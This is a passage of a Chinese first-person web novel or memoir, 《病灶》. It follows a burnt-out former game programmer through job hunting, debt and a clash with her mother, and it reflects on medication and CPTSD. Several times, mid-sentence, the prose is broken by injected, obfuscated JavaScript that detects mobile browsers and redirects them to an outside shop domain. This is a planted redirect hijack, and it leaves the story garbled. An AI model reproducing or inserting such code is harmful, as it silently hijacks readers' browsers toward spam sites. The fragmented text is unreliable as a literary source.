《病灶》 1. 2025年5月,第22周 1 [2025年5月,第22周] 学完网上的VR课程,我开始录制视频和整理简历。已在手机应用上看好岗位,出乎意料的是,对方在线,消息却停留在“送达”状态。 一连几天,之前看中的三两个岗位都是如此。 我想起上次提离职,主程说的,那个时候在我看来言过其实的话。 “上庸的虚幻岗位并不多。我们公司虽然是外包,可是,其他的外包公司只会更苦更累。老大并非什么活都接,像买量视频这种,找他的可多了。” “你如果离职,难道要回家结婚生孩子吗?” 前者已然言中。可我犹未安定下来,我可以去其他城市。 辞职之后,我没有休息一段时间的打算。每天上午十点起床,晚上十点之后洗漱。可一两点才能入睡。我不知道是什么原因,尤其,医生曾对我说:“呵,这个药就是让你入睡不困难的。” 起初我的计划是,将过去一年多学到的知识,整合成一个项目,录制演示视频传到网上,再将链接写进简历,用作项目展示。 刚到第一步,给3D角色模型绑定骨骼,就难以进行下去了。卡点在我对项目的定位是VR。普通3D模型播放预设动画不足以成为卡点,可VR游戏中根据手柄位置倒推模型骨骼位置,我弄不好IK。 在网上找到相关课程,一步步跟着实现,没有遇到困难。可人和动物的骨骼不同,不同人物模型的骨骼也不同,我无法在自己找到的3D模型上取得理想的效果。骨骼绑定本就归属特定工种的职责范畴,在这一问题的投入,权衡之后,我不再坚持。 在泽铯学到的知识不足以构成系统的知识体系,我无法将其整合成一个独立的项目进行展示,这让我失去了离职时的倚仗。 二二年我决心转岗虚幻,重新夯实了C++和图形学基础,又在Udemy上找到虚幻C++开发教程,于二四年年初,拿到了泽铯的offer。泽铯主要承接大厂的外包,凭借虚幻引擎和VR的加持,到手的多是数字孪生和依托VR技术打造沉浸式体验的项目。 转岗虚幻开发于我有不小的风险。我原先从事的都是诸如通信协议开发、网络安全这类偏向基建的工种,公司主打自研,客户多是民营企业和政府部门,岗位基数大。而游戏直接面向玩家,市场风向无从保证,需求由厂家自行创造。是照搬已有的成功经验,还是逐步试水后有的放矢,选择第二条路的并不多见。进入到虚幻这一行,平台的稳定和托举,不再那么重要。 在泽铯接触到VR,私以为替技术做了加持。项目整合遇阻,我调整了思路,准备走展示学习项目的老路子。我仍旧不想放弃已有的VR经验,即使虚幻的进阶路线应该是GAS,提前看好的岗位为这一决定提供了支撑。我在Udemy上搜索VR开发教程,预备在课程基础之上,移植实现过的VR功能。课程按部就班地完成,日子稳中有进。 虽然问题不再,进展不顺时身心发作的恐慌让我心有余悸。我知道逆向运动学本就是VR游戏的制作难点,也因此,市面上的VR游戏中,玩家多是第一人称视角,且角色的视觉呈现只有一双手,以此规避IK。如果我能拿下IK这个技术点,这将是简历上不容忽视的竞争力。 在泽铯工作不足两年,我参与了多个模块的实现。不过,每个模块深入到何种程度,能在整合项目中体现为如何,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301276|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是另一个难题。外包项目由于人力少,时间短,多是速成且要求高密度加班,而把了解到的知识融会贯通和灵活运用本就反作一定要求。即使忙得焦头烂额,我仍在GTD工作流中记录技术点,下班回家后腾出一到两个小时整理技术博客,只不过,这好比杯水车薪。 把所学知识整合到一个项目,姑且算作我的一次尝试,用以衡量目前的积累能让我走多远。正如我之后立即调整的那样,只是多了一步对情绪的安抚,特意指出整合项目的失败并不意味着某个无法解决的问题,我需要学习的还有很多。“道阻且长,行则将至”,这句话在过去很长一段时间都是我的座右铭。虚幻这条路,才刚刚开始。 不安的心绪,随着VR课程的推进,渐渐平复。 在这之前,我从未经历过身心的恐慌。不对,三年前的那次事件中有出现心动过速。可那时是因为应激,喝了参茶就有所缓解。 五月的某一天,我开始在黄昏时去到妈妈店里帮忙。她退休后在商业街租了一个店面卖早点。随着夏天的到来,晚上也出摊。商业街就在我家楼下,既不热闹,也不繁华,傍晚多是外来务工的人从厂子里出来改善生活,住在附近的爹爹婆婆饭后在街头闲逛。前者是购买主力。店里提供小吃和快餐,如油炸臭豆腐、凉面和炒面,味道嘛,好在家常。店面离两条大道的交叉路口不远,生意嘛,聊胜于无。 我本来只是去看看,可看过一次之后,便没法不去了。即使在那儿呆着并不愉快,我却觉得自己有责任和义务去帮忙。 我每天六点后下楼,八点开始帮忙收摊。之后我回家,妈妈负责店里余下的卫生。 我这样去了一天又一天,直到开始面试。 2. 2025年5月,第22周 2 [2025年5月,第22周] 提前看好的VR岗位完全不考虑我,基于现实,我放弃了VR。我开始浏览一些外地的岗位,以及本地距离更远的岗位。 市政推行P+R,停车换乘,即在城市外围轨道交通站点周边设置停车场,实施低价停车收费政策,以减少城市中心区交通压力。 因为养狗,我一直住在乡下。理论上,只要有车,去哪里都可以成行。可只要往城里去,大概率会遇上交通堵塞。由于P+R,开车到地铁站,拥堵的路段乘坐地铁,长距离上班由于解决方案的巧妙倒也不是不能接受。 早些年上班,我需要从城市的一端前往另一端,因为行业聚集在房陵。毕业十年,职场这条路,我走得尤为坎坷。 小时候,若说对长大后的期待,则是在二十五岁那年拥有我想要的一切。我很少对父母提出要求,也不怎么惦记她人物事。我寄希望于将来,每当我感受到沮丧,我就会告诉自己,在我有能力时,我会自己为自己提供。 我深信事业是我人生的解药。 大四时,面对现实,我积极寻找出路,拿到了儒伊的offer。这份工作让爸爸头一回有了在奶奶家谈论我的企图,即使他从未从我口中获得工作有关的信息。虽然这份工作的内容与我大学所学专业不符,那时的我并不觉得打紧。从事第一份工作,我过得很快乐,离开了家,去到了首都,有一起吃饭的同事,在工作中得到了许多机会和认可。 多年的求学之路,让我厌倦从父亲那里获得学费和生活费。住在自家屋檐下的日子,我最想要的,就是日后有尊严地自己养活自己。 所以我高中选的理科,因为有利于求职。到了求职季,我并不在意具体工种,只要是技术相关的即可。我一直相信,有一门手艺,就能把饭碗端牢。真要说的话,我希望这门技术能够应用在更广的方面,如基建涵盖的那些。应用广,需求就广,走的路不至于窄,一个饭碗丢了,也不怕找不到另一个。 正是在儒伊收获的那些善意,让我意识到,温饱之上,我还有个人需求。我有自己想做的更具体的事。大学选择计算机专业,更多出自对学校的考量。不过,在更早时候,我就喜欢编程,只不过学校不再开设培训课程,我的期待在一次次落空后偃旗息鼓。若说高中选择理科后,我对学校意兴阑珊,大学的每一门专业课,都让我兴致满满。可是,一心谋长远的我,罔顾喜好,谈何自觉。 我在儒伊参与的项目中负责系统环境集成,除了部门同事,打交道最多的,就是技术研发。给他们打辅助不成问题,这是我第一次接触程序员,我不禁扪心自问,大家所学专业相同,却为何,我不能是他们中的一员?我心中明明白白地清楚知道,我可以是。 想要从事的具体工种对职业做出了更高要求,也不与我的初心相违背。曾经在前行路上不参与决策的影响因子,此刻有了入局的资格。我看到了职业与兴趣叠加的可能,谋生开始闪烁幸福的悦动。 我与父母没有根本性矛盾,学业这块,我比上不足,比下有余。父母不会投资我出国,工作后提出考研,他们沉浸在儒伊给他们面上带来的增益,对此不做反对。上学时,尚有来自学校的庇护,再次回家,种种不堪,如洪水将我吞噬。当然,最根本的原因,还是我天性散漫。 我无心学习,自然也考不上研究生。一九年,我找到一份程序员的工作,也算殊途同归。 虽然确定了工种,具体的技术方向仍是悬而未决。我心中隐隐清楚,所谓方向,并不是买定离手,更像是在海上航行时掌舵。大学开设了多门程序语言课程,至于具体领域,却鲜有涉及。起初,我在通信协议这块从事C开发,C语言的面向过程特性,在体量不大的通信协议架构里,百利而无一害。而后,我在网安从事Linux C开发,面对具体需求,随着功能的增加,代码规范的缺位,使得面向过程开发在一次次粘贴拷贝中产生了大量臃肿,因此,我将目光投向了C++。C++的面向对象特性,对程序设计反作要求。C++开发不易放任自流,在复杂规则中保证不出错地达成目的,从根本上对程序员的小心谨慎作出了要求。至于其他服务器开发语言,比起Go,我对Rust兴趣更浓,不过,这二位和C++相比,都缺少C这座基石的递进。我保留对Rust的兴趣,而非决心转投该阵营。 很早我就接触到游戏。乡下的娱乐并不多,爸爸购置的小霸王学习机可谓是影响深远。我和表弟关系还行,因着我俩在儿时算是游戏搭子。大四那会,我也往游戏公司投过简历,那些岗位的要求都是Cocos相关,我从未接触过,而图形学基础又欠佳。游戏行业不同于基建,这一行于社会的贡献我尚未看清。打小我就被灌输了玩游戏等于不务正业的思想,虽喜爱游戏,着实玩得不多。如若从事游戏开发,颇有些立足不稳的意味,很容易被人戳脊梁骨。 表弟大学毕业后从事3D建模,他多次和我提及游戏开发。我对Unity略知一二,可我对C#无感。当他提及虚幻引擎,我无法再次忽视。虚幻引擎使用C++作为编程语言,这与我的技术倾向惊人的一致。既然我在职业选择上迎合自己的兴趣成为了程序员,那么,在技术上选择游戏开发,又有何不可? 家中的条条框框,我已不太在意。停留过的行业,靠自己白手起家纯属扯淡,可游戏不一样,独立开发中亦有佼佼者。而且,大学开设了多门选修课,兴趣最浓的当属数字图像处理和计算机图形学。这两门可以与游戏无关,却也恰恰和游戏有关。 我拿定主意转岗虚幻,便再次从公司离职。 去到泽铯,我欣喜地以为前途已定。过去七年,我从事想要的工种,汲汲营营,并最终确定了技术方向。技术方向的确定,不仅是着力点的明确,更是对悬在头顶的达摩克利斯之剑的有力抗击。当我仰仗技术,在技术这条路能走多远是无法回避的问题。程序员薪资不低,这不改其青春饭的本质。年轻时尚能为项目投入大量时间和精力,三十五岁之后,非有志于管理,那么,人的竞争力何在?技术的深度和广度依赖于方方面面,一个封闭的领域难以提炼深度,受限于平台和项目,广度的实践又难以成行。这也是我亟待调整技术方向的原因。一个能够深耕且更具潜力的领域,更具保障。 泽铯少有地驻扎在市中心,路上往返约耗两小时。时至今日,这仍是无法回避的优点。转岗虚幻以前,我没怎么加班。如果任务稍重,我有充足的余地选择更早去到公司,在合理规划内,完成既定目标。这与前几任东家主打自研项目密不可分。泽铯作为外包,加班是常态,可除去任务繁重,原定安排屡屡几近全军覆没,个人之力实在难以与之抗衡,让人习得性无助。 在泽铯上班,以往到家的时间,我却还没下班。而且,周末也会要求加班,虽没有相关规定,却已形成了某种规律。这种加班强度在游戏行业并不是个例。 这份工作,是我调整了技术方向后的新起点。这个行业,由于泛娱乐性需要大量资金投入,而且不成功便成仁。偏偏独角兽少有。资金投入难,盈利难,相应地,对员工的要求就更高。如低工资,高工作时长,服从性和职场潜规则追随劣质决策和管理。进入行业之初,我看到了技术方向的巨大潜能,实际从事生产,才发觉市场混沌得无所适从。 以上种种,我自知已不太经得起折腾,对于下份工作,保留多于期待。具体到公司,又需要面临什么样的困难,尚未得知。 我最终拿到三个面试,收到一个offer。对方压低了2k,提出签约三年,试用期六个月,转正前薪资打八折。 我没有接受这个offer,试用期的工资只比泽铯高出一点,可这个offer在外地。更主要的是,公司名声不怎么好。网路上说,有人试用期内项目结束,主管让其旅游放松,回来后却发现上级以脱岗为由认定试用期不合格。接不完的外包是行业常态,流水的试用期是地方特色。 不值一提的是,面试官对我的能力并不满意。面试在网上进行,许是考虑到诚信,对方要求我打开摄像头,却也只有我开着摄像头。一系列技术问题我回答的并不好,我接受算法刷题,却不喜面试八股文。至于对方点着我没做过的问,没有做过就是不会,那就是大多都不会。面试结束后,我欲挂断,却听见对面有人问面试感觉如何。 “是个女神呀。”我求职的岗位少有女性。 “能力呢?” “不咋地。” HR发放offer,这让我倍感意外。我没有立即同意,提出需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301277|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几天时间考虑一下,毕竟在外地。对方自然应允。 对于去外地工作,是否留在那个城市,是无法回避的问题。我打算把脱兔带去,启动资金亦构成问题。这些年,我没有在工作中存下钱。传说中程序员的工资很高,作为这个行业偏下游的从业者,我只能说不算低。可我开销亦不低,私以为从事这个行业就有一定的物质保障,而工作强度大,和减压消费一脉相连。 妈妈不反对我去外地,她觉得我可以试试,不行再回来。可她反对我把脱兔带去。道理很简单,一个人的单间好租,可带上狗,免不了要开着车,以及整租,想想都头大。 初入职场,我对白领生活抱有很大幻想。工作这些年,公司所在地段,楼下饮食的选择余地,薪资的负担能力,业余时间的窘困,让我认识并接受现实。 一个不抱有期待的工作,对于一个没有意愿承担责任的人而言,不足以成行。 我年逾三十,在最能折腾的二十来岁,无所不用其极地追求事业。在泽铯工作时下不保底地激情投入,在我满是赤字的账本上,画下了最后一笔,将额度透支了个干净。 我无法继续逃避人出于本能的渴望,我想要稳定的工作,想要不加班,想要住在家里,想要出行便利,想把养狗的不便通通剪除。自从儒伊辞职,我离群索居,一心投诸工作,无家人关怀,少与朋友来往,身边只有脱兔。脱兔已经八岁,除去我不上班的日子,它孤零零地在家太久。它将步入晚年,身体会渐渐不好,可我生命的齿轮却越来越吃力,偏偏还看不到半分减缓的可能。 自从在儒伊看到兴趣与职业重叠的可能,我对前路一无所知,却无所畏惧。因为相信自己决策的正确,我离开得义无反顾,不愿留下半分留恋。转岗虚幻,虽有不得已的缘由,却也势在必行。从小到大,我都是自己拿主意,少有出现偏颇,可这无限拉长的战线,让我开始踌躇。我自知无法像以前那般不计代价地投入,至少现在不行。我需要喘息,更需要时间。任何要求高时长的工作,意味着我只能充当螺丝钉,受制于平台。 当我放弃了该行业一个难以得到的offer,便意味着我放弃了这个行业的整片森林。三十岁很年轻,现在人的寿命都很长。可三十岁的人也不再如朝日,我以为我能够不停试错,能够继续折腾,可我已至力竭。如若社会要求的是投诚,是被工作无下限的纠缠,事到如今才认清这一点的我,前狼后虎,进退维谷。树木到了一定年岁主干粗壮,枝繁叶茂。可人到了一定年岁,现在的生活是我儿时以为的那般吗?同龄人又都如何?周围人又都如何?儿时的我看不到成年人的困境,成年后的我也未能成功去到彼岸。 过去七年,我一心追求事业,原因在于我认定事业是我人生的保障,对此不疑有他。向来,我要么事不关己,高高挂起,要么锚定目标,全力以赴。二十五岁未能如愿,这并不打紧。一个孩子对未来的假想,期许的成分更多。那些我想要拥有的,未如愿的由事业保证,既遂的,大多铺就了事业这条路。把二十五岁这一期限往后延长,并不构成问题。 可在力竭之前,我就质问过自己,倘若最后一刻才取得成功,终其一生,是否值得?答案是,即使对半,那也是不值。所以事业这条路,我走的彻底,却也惘然。我无法抗拒地竭尽所能投入,上学时占据大把时间的爱好,现已束之高阁,小说、电影、电视剧,均抵不上专业书籍、网络课程的收益。沉没成本的确不参与重大决策,可如今已是惯性使然。我沉沦在追求事业的安定感中,任由生命之树枝枯叶落。 我偶尔会想起儿时看过的一则《一千零一夜》故事。旅人在一个又一个村落的慷慨款待中不知餍足,最终落得一无所有。我不时扣问自己的心,自己想要的究竟是什么,以防在前进道路迷失。我从未怀疑生活到事业的这一恒等推导,是否真的充分必要。当我身心难以为继,前方必然的落败才迫使我回头验证。对事业的追求,除去成就感的回馈、自我价值的实现,初心在于其对生活的保障。可在追求事业的路上,瞧瞧我生活中还有什么不能舍弃、又有什么真正保住! 我放弃了阅读,放弃了娱乐,追求最大化投入以换取最大化收益。过去十年,我已魔障,只落得蹉跎。无论如何,事业无法为生活提供保障,那我就去谋求生活。 3. 2025年5月,第22周 3 [2025年5月,第22周] 另外两场面试,各有特点。 HR的事务之一是招人,即使公司没有用人需求,她们日常收到的简历份数可以作为绩效指标。这种表现为上来就要简历,而岗位信息和填写的求职方向出入较大,很容易识别。 我遇到的是另一种,打着招人的幌子,抛出实际生产过程中遇到的问题,套取解决方案。筛选简历的主管从我过往项目展示的视频中看到了他们的卡点,问我实现过程中有没有遇到某种问题。我答曰没有。都是跟着课程来,一切都很顺利。从办公楼出来,我看见几个主管模样的人在门口抽烟。乍一看是认不出的,直到面试我的人加入了他们。 还有一场面试,办公地点离家近,进去后,却看到办公区域空无一人,摆放杂乱。老板在一间办公室,HR负责接待我。招的是驻场的人,问我接不接受经常出差。这场面试结束,我去到离家不远的商场挨个店铺询问是否招人。超市不招摆货员,服装销售因为有月指标明确表示需要经验,奶茶店要求卫生证且是兼职并提前告知工作强度大,一个电子设备导购的岗位给我发了通行证,并约定下周一上班。这些岗位无一例外月休四天。我没有去办卫生证,在聊天APP中和主管说了抱歉。 我知道自己这般行事是因为焦虑,我希望自己能找到工作,希望自己能够工作,可我无法接受这样的工作。 这个世界是怎么了?如果程序员是因为高薪才这般辛苦,为何服务行业的人在薪水本就不高的情况下,投入的时间更多?工作时,我需要时间学习并验证新技术,而这难以做到;我想着找一份低薪但时间有余的工作,暂作过渡,却也被现实教做人。自己大学毕业那会,找工作并不难,可近几年,百万大学生毕业求职,可谓是难于上青天。由于不愿脱下长衫,孔乙己被诟病迂腐,可脱下长衫,人就有了活路吗?所谓活路,不过是和死路作区分罢了,而非一条健康且有保障的道路,更遑论幸福了。古语云:君子不器。我却觉得自己已非人,只待对社会彻底无用而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301278|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被剔除。生命已不仅仅是生命。鸡鸭鱼肉讲的是对人类的价值,鸟兽鱼虫论的是对自然界的价值,而人被异化,衡量标准是对社会的价值。要被淘汰的还有价值吗?活着无用能是对吗?价值论施加的批判下,我无所遁形。 至于脱去长衫的恐惧,对吃苦的畏惧,对事业求而不得的无果,人的感受,好似连桌都上不得,谈何提及。为理想付出是光荣,至于为资本家付出,我只能说,资本终究对社会有益,那么,人好似也不该有怨言。历史的车辙一直在前进,私以为随着封建社会的结束,人民已翻身做主。可各个王朝都有奴隶,这个时代为何没有?还是说,奴隶,只是旧时的一种称谓? 这是我第三次裸辞,前两次尚能辩解为调整事业方向,这一次,我再也掀不起波浪。 如果说过去十年,我如此行事的理由除了自身心气,还有家庭在背后对我的支持,现在,后者已在更大危机中化为乌有。那个信誓旦旦不顾一切追求事业的我,在无法保证存活的情况下,开始退而谋求安稳。 4. 2025年6月,第23周 4 [2025年6月,第23周] 我和妈妈没有住在一块,事实上,我们家三个人,各住各的。春天的时候我才第一次去到妈妈现在租住的地方,是一排私房中的一间,长,且窄。 赶在晚上出摊前,我去到她的住所。 “妈,有个事我得告诉你。”我犹犹豫豫,挣扎着开口。 她看了我一眼,让我有事就说。 “我欠了三万块,现在还不上了。” “你又欠了三万!我是怎么和你说的,之前那笔债家里都没有还完,你居然又欠钱!” 这个事实瞬间点燃了她的怒火,妈妈在客厅里踱起步来。“我现在每天起早贪黑是为了谁?我都退休了的人,还在找事做你以为是为了哪个?” 她随手拿起桌上的快递盒,又放在一旁,转过身来怒目直视我。“欠了钱你还敢辞职,有了第一次居然还有第二次。” 她在房间里走来走去。“你也看到了,屋子里东西堆得到处都是,我连整理的时间都没有。每天刚躺下来没多久就要起床,蒸好糯米,还要去店里煮豆浆。米要一袋袋的扛,油,豆子,哪一样不是开销,哪一样不要人亲自去弄!” “我的钱不是大风大浪打来的!你也知道,早餐店生意不行,晚上还要开门做宵夜。” “你的钱呢?你赚的钱呢?都和你说了不要用信用卡和网贷,你已经犯过一回错了,怎么还不知道改?” 我抿着嘴巴,缓缓张口,唯唯诺诺地说:“工资就那么多,每个月转三千出来,加上油钱饭钱交通费,换季再添点衣服鞋子,手头一直很紧。” “我组装了台电脑,本想着慢慢还……” “我就知道那台电脑花了不少钱。要你省着花省着花,完全听不进去!” “没钱就不买呀,还非要借钱买!现在还不上你倒知道来找我。你怎么老做这样的事情!” 妈妈咆哮完,挥下扶额的手,叉在了腰间。喘了一口粗气后,她拉开椅子坐下。 我盯着她面前堆满杂物的桌子上那盒拉开后露出来的一板蓝瓶子口服液。 她接着说:“我身体不好,受不得刺激,说不准哪天就得了脑梗,你也晓得。我每天起床脑子都发昏,银杏片一天都不能落。” “我年纪也大了,我受不了这么操劳,你知不知道?” 我懦懦点头,应了声,“晓得。” “那你现在是想要怎样?要我帮你还?” 我看她神色有所缓和,小心开口道:“你看能不能先帮我还上,我去店里帮忙抵。” “哼,我就晓得你只有求人的时候才会低声下气。” “你可谓是一而再,再而三。我上回就和你说了,仅此一次,你现在又搞出这种事。我这回再替你还了,然后呢,你继续去借钱,我再帮你还?哼,天底下哪有这样的好事!” 她恨恨地看着我,冷笑一声。 “欠了一屁股债还好意思辞职。你该去上班啊,自己欠的钱自己还呀!” 我闭了闭眼,开口说:“我干不了这份活了,我是真的做不下去了。” “我准备考公务员,工作稳定,朝九晚五,不用加班,还可以住家里。” “你早干嘛去了,以前要你考瞧都不瞧一眼,这个时候你说想考。现在竞争那么激烈,你以为你想考就能考得上?”她终于逮到机会,把过去左右不了我的不甘,狠狠地还击了回来,言语中鄙夷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我意识到不对劲,尤其我已开始吃药。 新年开工不久,公司接了一个繁重且紧急的优化工作。对方项目亟需上线,可打开关卡都费劲。开春的时候,我已不堪重负。第一波在看似不可能的情况,大伙把各项数值优化到合同标定的范围,老板看到可行性,又接下了第二轮。这个期间我每天加班到很晚,回家还要遛狗做饭,余下的时间,全部用来睡觉都觉得荒唐。现在回过头来,才意识到第二天居然还要按照正常时间上班。加班没有加班费,调休也不存在。当天加班超过晚上十点,公司支付计程车费,员工第二天可晚一些到岗,这本是互联网公司的防猝死公约。 我不大回想得起那周的具体情形。只记得周一早上七点醒来,有足够的时间洗澡,却迟迟没能从床上起来。 工作之外的时间,尤其是周末,我的状态格外不好。印象中,有周六下午才去菜市场采购的我,有周日晚上把才把家里打扫干净的我,也有周一赶在出门前把自己收拾整齐的我。 我趴在床上刷短视频,期许自己能好受些,有了动力,再从床上起来。不记得从什么时候起,睡醒之后,感觉很寡淡。我不记得梦里有什么,却无比怀念将醒未醒的那种真实自然。 一九年再次工作,我成天听着《完全感觉Dreamer》、《Gladiator》和《天高路远》给自己打鸡血;现在,我在D站刷短视频,有概率因有所感触而行动。 手机屏幕的微光在眼中闪烁,大脑仍在运作,身体却因久不动弹而越发不想动。一个小时过去,到了平时该出门的时间,身体仍旧保持着同一个姿势。我意识到,我起不来了。 靠刷短视频起床的状态已经维持了一段时间,这件事的可怕之处在于,到这一刻,即使这般,也无法再将我从床上拉起。 摁息手机屏幕,我闭上眼睛,什么都不再想。过了一会,我告诉自己,也许我今天会去看心理科。我继续保持趴着的姿势,几分钟后,掀开被子,从床上起来。一番整理后,出门前往公司。 主程已提醒过我近来迟到有些多,可在我看来,晚到公司并无不妥。我知道自己加了多少班,非刻意迟到,心态却稍稍平衡了一些。 我抽空浏览了各院的心理科,有的挂得满满当当,有的还剩几个余号。 人都希望自己能够尽快恢复。至少我是这样。不说时刻保持高效率,我认为自己能如常态一样工作就行。 人对他人的包容有限,对他人的理解有限。身体上的病不敢生,心理上的病甚至见不得光。人只有在完全没有办法的情况下,才会尝试接受生病这个事实。但凡有一点办法,就会继续假装正常,而不是求救。 吃过午饭,我没有立即返回楼上。公司午休时间有九十分钟。我呆过午休一个小时的公司,也呆过从两个小时减为一百零五分钟的公司,已见怪不怪。虽然加班多,老板为了保证八小时工作制,把下班时间从六点改为六点半,已有数月。即使大家只在项目之间的空窗期按时下班。相应地,但凡项目进行中,虽无急项,大伙离开的时间也从六点半起延到了七点后。 办公楼旁边就是一个人工湖,据说晚上七点会有彩色喷泉,在泽铯上班一年多,我只见过一次。坐在花坛边,春天的阳光谈不上多温暖,从稀疏的枝桠照到头顶的棒球帽上,混着几天没洗的头油,微微有些发热。身上也裹着不适。 刚刚在餐厅,我没有把饭吃完。通常情况下,点完餐,顾客从电子公告牌获悉取餐信息。这家餐厅的特色是,确认订单即通知取餐,许是担心真实的备餐时间不好看;在餐点确切备齐后,再用嗓子喊号。可这样,未做好不知是尚在准备,错过了又不知餐已备好。 我以为增设电子公告牌就是为了餐点备齐后方便顾客取餐。这家餐厅如此行事,原本的意图达不到,我作为顾客,认知也被扭曲。我在官方应用上投诉过一回,总部送了我一张券,之后再和同事到店,一切回归正常。这一次,我远远看到电子板过号便去柜台,却被告知餐点仍在准备中。 我继续在应用上投诉。开始用餐不久,工作人员送来一份甜点。她很小心温和地和我解释:“不好意思,让你久等了。这份甜点是我们的一份心意,希望你不要介怀。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301280|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我没有应对人的精力。之所以投诉,并不是相信问题可以解决,有几分愤慨,却也无奈。投诉只为消解情绪,我理解餐厅为何如此做,却仍因觉得不对而难以接受。我不想做情绪的囤积狂,因为我十分清楚如此做的后果:终有一天,情绪会群起而攻之,将我整个吞噬。 “你怎么知道是我?” “柜台的阿姨记得你有去问过。” “我不需要。你打扰到我用餐了。” 她觉得更抱歉了。 我顿时哑然。我并非因为想吃饭而吃饭,人得吃三餐,不吃午餐,下午肚子会饿;午餐时间过长,还会影响到午休。我不再因吃饭而开心,我仍期待午休,只因可以稍稍喘息。 我失去了所有情绪,我不想做出回应。 吃饭被打断,我意识到自己无法继续。身处在这个环境让我觉得灵魂出窍,我得离开这里,我告诉自己。我起身离开座位,径直走了出去。 我很喜欢阳光,孩童时便如此。我喜爱坐在窗边,读书时便这般。可泽铯的工位对面,常年垂着遮阳的卷帘。一年四季,既无微风拂面,也无照到身上的暖意。唯有狂风暴雨骤起,人身处高楼隔着玻璃听不到声响却亲眼目睹,这才意识到自然仍在运作,凭空生出违和。 湖面在太阳的直射下波光粼粼,我低下头,闭上眼睛,双手捂住口鼻,紧紧呼吸数次。还是得去医院看心理科,我对自己说。睁开眼睛,我深深呼吸一口气,拿出手机在精卫挂号,和领导请了下午的假。 投简历时因无人理会产生的恐慌,让我决定停药。从春天到夏天,用药不足三个月。只第一次问诊聊了半个钟头,之后则是定期取药。与等号时其他人的面诊时间相比,可谓神速。 都说清官难断家务事,我没有倾诉的欲望,亦不渴望被人理解。医生没有给我下诊断,我也未看到病历。我的诉求是吃药缓解无法起床的困难,我希望医生能多说一些,可她若是不言语,也在常理之中。医患问题向来动辄得咎,心理治疗更是多一事不如少一事。 很早之前,我就不愿受到他人影响。医生不能对病患投入感情,相应地,我也不愿对医生抱有依赖之心。如果她人具备让我回生的本领,那也势必拥有令我赴死的能力。 只是,回想起第一次面诊时医生抑不住地叹气,我所背负的巨石,稍稍有些松动。 6. 回忆:自我确诊CPTSD 6 二三年年末,我刷到一个UP主自诉CPTSD的视频。 我一直认为抑郁是一种症状,好比感冒之后会打喷嚏、流鼻涕和咳嗽,这些可以是感冒的症状。这些也可以是其他疾病的症状,如花粉过敏、鼻炎和咽炎。即使找到了根结(感冒),背后的原因又可以有多种,可以是受凉,也可以是病毒感染,医生得明确病因,再进行根治。 如若症状被视作根结,病因则无从找起。如大海捞针,如水底捞月。 就我有限的认知,由于根结的缺位,抑郁症常常被普通人视作疾病。其成因的不可名状,导致抑郁症患者被视作先天不足,或被污名为软弱。寻常人对这种不明所以的疾病远远避之,因此,抑郁人群又招致歧视。 CPTSD是疾病的一种,其成因是长期处在反复发生创伤事件的环境中难以逃离,常见于儿童长期遭受虐待,身处家庭暴力等长期人为创伤环境中。 CPTSD全称复杂性创伤后应激障碍。抛开“复杂性”这一限定词,创伤后应激障碍正是人们更为熟悉的PTSD,源于个体经历或目睹了真实的死亡威胁、严重伤害或性暴力事件。由于是对身心生存的根本性撼动,患者会不断闪回到事件发生的那一刻,在事件结束后仍然饱受折磨。 由于上世纪的两次世界大战以及其他战役,军人群体是PTSD的高危人群。于是乎,PTSD在主流文化中为人们所知。 战争对人类的伤害是巨大的,军人为保卫国家而战是至高荣誉。这两点不可反驳。PTSD可以作为普通人了解CPTSD的桥梁,这绝非是对伤痛进行比较。 